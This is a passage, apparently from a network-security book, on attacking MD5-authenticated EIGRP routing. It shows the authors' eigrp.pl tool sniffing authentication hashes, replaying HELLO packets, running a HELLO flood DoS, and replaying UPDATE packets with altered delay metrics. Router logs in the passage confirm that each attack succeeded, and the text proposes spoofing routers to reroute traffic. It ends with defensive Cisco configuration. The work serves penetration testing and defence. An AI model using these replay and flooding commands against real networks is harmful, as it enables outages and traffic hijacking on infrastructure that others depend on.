At the time of writing, we are not aware of any publicly available tool that allows for cracking of the EIGRP authentication scheme. However, we are working on extending the functionality of our EIGRP tool to allow the "recovery" of a shared secret someday. In the meantime, here are some observations to share. Let's sniff out an authenticated EIGRP packet first:
arhontus# ./eigrp.pl --sniff --iface eth0 Using config file eigrp.conf... ./eigrp.pl, , V 0.1 Link Offset: 14.. Sniffing interface: eth0 *************************************************************** Source MAC:0002139d0a70 Dest MAC:01005e00000a Source IP: 192.168.66.202 Dest IP:188.8.131.52 ch14.indd 494 ch14.indd 494 **************************************************************** HexDump (high nibble first): 02 05 55 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 02 00 28 00 02 00 10 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 0e fe 07 40 34 46 c7 7a 96 97 fe 57 53 f7 9e 52 00 01 00 0c 01 00 01 00 00 00 00 0f 00 04 00 08 0c 03 01 02 Version: 2 Opcode:05 <Hello/Ack> Checksum: 0x5556 <* Correct *> Flags: 0 Sequence :0 Acknowledge: 0 Autonomous system number: 1 <<<Authentication data: 0002>\>> Size: 40 Key ID: 2 MD5 key digest: efe07403446c77a9697fe5753f79e52 Key in one string (Copy & paste to replay) 00020010000000020000000000000000000000000efe07403446c77a9697fe5753f79e52 <<<EIGRP Parameters: 0001 >\>> Size: 12 K1: 1 K2: 0 K3: 1 K4: 0 K5: 0, Reserved: 0 Hold Time: 15 <<<Software Version 0004 >\>> Size: 8 IOS version: 12.3 EIGRP version 1.2
As you can see, the authentication data is dissected properly and a Message Authentication Code (MAC) hash is highlighted to be (ab)used. The authentication data appears to be the following:
TLV 0002 Size 40 bytes 0028 Auth type MD5 0002 MD5key size 16 bytes 0010 Key ID 2 00000002 12 byte null pad 0000000000000000000000000 MD5 hash efe07403446c77a9697fe5753f79e52
From experiments with capturing and replaying at the router a variety of authenticated EIGRP packets, it appears that the MD5 algorithm is run against the following packet fields: Opcode , AS number , Flags , Sequence Number , and Nexthop . The first conclusion we came to after this analysis is that the presence of MAC does not stop attackers from replaying HELLO packets back at the router (their sequence number and flag, for example, are always set to zero). We just need to throw in the hash:
arhontus#./eigrp.pl --hello --auth 00020010000000020000000000000000000000000efe07403446c77a9697fe5753f79e52
The packets are received well and trigger back an EIGRP update to sniff it and find out more about the network topology:
061751: 04:13:46: EIGRP: received packet with MD5 authentication, key id = 2 061752: 04:13:46: EIGRP: Received HELLO on Ethernet0/0 nbr 192.168.66.112 061753: 04:13:46: AS 1, Flags 0x0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/1 061754: 04:13:46: EIGRP: Sending UPDATE on Ethernet0/0 nbr 192.168.66.112, retry 2, RTO 4500 061755: 04:13:46: AS 1, Flags 0x9, Seq 2162/0 idbQ 1/0 iidbQ un/rely 0/0 peerQ un/rely 0/1 serno 3-8
If we can easily replay HELLO packets, it is possible to modify the HELLO flood DoS to work on an authenticated EIGRP domain:
arhontus#./eigrp.pl --hellodos 192.168.66.0 --auth 00020010000000020000000000000000000000000efe07403446c77a9697fe5753f79e52 --source 192.168.66.112
Not only is the network down, but the routers also appear to recover much slower! This doesn't come as a huge surprise, since they now have the additional overhead of MD5 processing apart from HELLO packets and ARPs. Is it possible to replay something more interesting than EIGRP HELLO?
Recall the unimplemented RIPv2 replay attack. Unlike RIPv2, EIGRP packet sequence numbers are hashed, so replaying UPDATE packets with a higher sequence number does not appear to be possible. However, we can try to replay the same UPDATE packet. Let's automate it and bounce the packet back as soon as it is captured off the wire:
arhontus# ./eigrp.pl --sniff --iface eth0 --op 1 *************************************************************** Source MAC:0002139d0a70 Dest MAC:01005e00000a Source IP: 192.168.66.202 Dest IP:184.108.40.206 **************************************************************** Magic packet captured ;-) HexDump (high nibble first): 02 01 fd 51 00 00 00 02 00 00 00 11 00 00 00 00 00 00 00 01 00 02 00 28 00 02 00 10 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 76 f8 7e 6f 58 dd a7 c5 8a 00 4c a2 76 52 72 76 01 03 00 31 00 00 00 00 c0 a8 fe fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 07 d0 00 00 19 4c 00 00 05 dc 00 ff 01 00 00 20 c0 a8 1e bf Enter <1> if you wont replay packet back:1 Save data to what file? Enter filename: test
Let's see whether the packet was accepted on a router:
000675: 00:21:44: EIGRP: received packet with MD5 authentication, key id = 2 000676: 00:21:44: EIGRP: Received UPDATE on Ethernet0/0 nbr 192.168.66.102 000677: 00:21:44: AS 1, Flags 0x2, Seq 17/0 idbQ 0/0
No authentication mismatch error occurs.
For statistical reasons, let's replay four packets to a solitary router and check whether all of them were successfully accepted:
c2600#show ip eigrp 1 traffic <skip> Updates sent/received: 3339/4 Next sequence number sent back <skip>
What good is it to throw the router its own EIGRP update? In RIPv2, the metric is the amount of hops, and the payload that defines it participates in MAC calculation; thus we cannot alter the metric. In EIGRP packets, the metric is carried in separate fields that do not appear to take part in the hash generation. Thus, it should be possible to alter the metric (and test the delay) and then replay the packet:
arhontus#./eigrp.pl --sniff --iface eth0 --payback --delay 120000 *************************************************************** Source MAC:0002139d0a70 Dest MAC:01005e00000a Source IP: 192.168.66.202 Dest IP:220.127.116.11 **************************************************************** Magic update packet captured ;-) Updating delay value and sending back to air <<<IP internal route: 0102 >>\> Old Delay:512000 New Delay:120000
And the packet is successfully accepted.
Now, with a bit of imagination , we can perform a similar EIGRP UPDATE replay, while spoofing an IP of one of the legitimate EIGRP routers and playing with bandwidth, and delay metric parameters to present that spoofed interface differently to the DUAL algorithm. Thus, it might become possible to reroute traffic in an EIGRP domain without even knowing the shared secret.
This is an ongoing project that needs further investigation. How about capturing and replaying EIGRP three-way handshake packets either emulating a new router joining the domain or targeting a new router joining the domain? What about replaying goodbye messages to replicate this DoS attack on an authenticated EIGRP domain? Envision a possible scenario of a HELLO DoS flood on such a domain, accompanied by goodbye packets harvesting for all participating routers, so that these packets can be replayed later. Would it work? Here is some food for thought and ideas for the readers to test; in the meantime we can quietly regret that there are only 24 hours in a day.
Securing EIGRP domain is similar to securing RIPv2. The main difference is that the authentication commands are entered in the interface, not in the routing protocol configuration mode, and must include the autonomous system number:
c2600(config)#int e0/0 c2600(config-if)#ip authentication mode eigrp 1 md5 c2600(config-if)#ip authentication key-chain eigrp 1 handsoffmyeigrp c2600(config-if)#exit
The creation of the keychain is the same with RIPv2:
c2600(config)#key chain handsoffmyeigrp c2600(config-keychain)#key 1 c2600(config-keychain-key)#key-string 0 itsadeepsecret
Similarly, a passive EIGRP interface can be set via the passive-interface command in the protocol configuration mode. However, setting a passive interface in EIGRP will suppress the exchange of HELLO packets to and from the affected interface, which in turn will stop both incoming and outgoing routing updates. Thus, executing the passive-interface default will effectively remove the router from the EIGRP domain and probably cause a connectivity loss. Therefore, setting passive interfaces in EIGRP is useful only for removing an interface from the routing process completely. If you want more granular control over the spread of EIGRP updates, use distribute lists to filter the routes you don't want to be broadcasted. Using the distribute-list command with EIGRP is quite similar to using it with RIPv2, spare for the fact that the autonomous system number will have to be added into the concoction, as in distribute-list 1 out eigrp 1 .